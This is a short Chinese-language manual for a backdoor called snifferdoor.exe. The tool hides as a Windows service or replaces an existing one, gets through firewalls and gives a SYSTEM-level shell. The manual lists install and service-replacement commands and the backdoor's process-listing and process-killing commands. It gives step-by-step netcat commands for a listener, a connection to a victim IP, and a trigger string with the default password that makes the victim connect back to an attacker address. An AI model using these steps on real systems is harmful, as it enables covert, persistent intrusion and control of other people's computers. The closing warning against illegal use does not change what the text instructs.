| 详细介绍:名称: snifferdoor.exe(嗅探型反弹式后门)
特点: 无端口,反弹连接,以服务方式启动,可以新建服务或者替换已存 在的服务程序,本身非常小(11k),可以穿透大部分防火墙。 可以连接后门主机的任何端口,客户端为NC激活。
使用方法: ---帮助 snifferdoor /? ---安装成新的服务 snifferdoor -i <服务名> [服务显示名称] ---替换已存在的服务(推荐) snifferdoor -r <服务名> ---卸载服务 snifferdoor -u <服务名>
命令列表: ? : 帮助 shell: 返回一个SYSTEM权限的SHELL pslist:列举所有进程信息 pskill :终止指定的进程 exit: 退出
操作步骤: 1.本地主机用nc监听本地任意端口 例如: nc.exe -vv -l -p 8200
2.用NC连接运行了这个snifferdoor.exe的主机 (假如对方为IP:192.168.0.99)
nc.exe -vv 192.168.0.99 port
这个port是对方任意开放的端口;
例如: nc.exe -vv 192.168.0.99 135
3.再按以下格式输入: password|Ip^Port~ password:连接的密码(默认为noway) ip:你本地的ip地址(注意必须是外网地址) port:你本地使用NC监听的端口
例如: noway|211.90.107.100^8200~
这样监听8200的那个NC就跟远程主机建立了连接。
提醒: 请勿使用本程序从事非法活动。
|